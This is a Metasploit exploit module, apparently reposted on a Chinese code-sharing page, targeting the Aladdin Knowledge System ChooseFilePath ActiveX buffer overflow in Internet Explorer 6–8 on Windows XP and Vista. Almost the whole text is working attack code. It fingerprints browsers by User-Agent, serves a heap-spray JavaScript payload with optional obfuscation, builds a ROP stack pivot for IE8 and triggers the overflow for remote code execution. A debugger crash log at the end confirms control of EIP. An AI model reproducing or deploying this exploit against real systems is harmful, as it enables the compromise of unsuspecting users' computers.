扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::RopDb autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "8.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :rank => Rank, :classid=> "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}", :method => "ChooseFilePath", }) def initialize(info={}) super(update_info(info, 'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow", 'Description'=> %q{ This module exploits a vulnerability found in Aladdin Knowledge System's ActiveX component.By supplying a long string of data to the ChooseFilePath() function, a buffer overflow occurs, which may result in remote code execution under the context of the user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'shinnai', #Vulnerability Discovery 'b33f',#Original exploit 'sinn3r',#Metasploit 'juan vazquez' #Metasploit, IE8 target ], 'References' => [ [ 'OSVDB', '86723' ], [ 'EDB', '22258' ], [ 'EDB', '22301' ] ], 'Payload'=> { 'StackAdjustment' => -3500 }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => false, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => false, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => true, 'Offset' => '0x5f6', 'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll } ], [ 'IE 7 on Windows Vista', { 'Rop' => false, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 1 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Land the payload at 0x0c0c0c0c js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def load_exploit_html(my_target, cli) if my_target['Rop'] p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) else p = payload.encoded end spray = ie_heap_spray(my_target, p) html = %Q| <html> <object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object> <script> #{spray} junk=''; for( counter=0; counter<=267; counter++) junk+=unescape("%0c"); pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}"); </script> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin 0:008> g (82c.12dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8 eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246 OLEAUT32!SysReAllocStringLen+0x31: 7712a41a 8b00mov eax,dword ptr [eax]ds:0023:0c0c0c0c=???????? 0:008> g (82c.12dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000 eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246 0c0c0c0c ????? 0:008> db 020bf798 020bf7980c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf7a80c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf7b80c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf7c80c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf7d80c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf7e80c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf7f80c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ 020bf8080c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c................ =end |
体验盒子
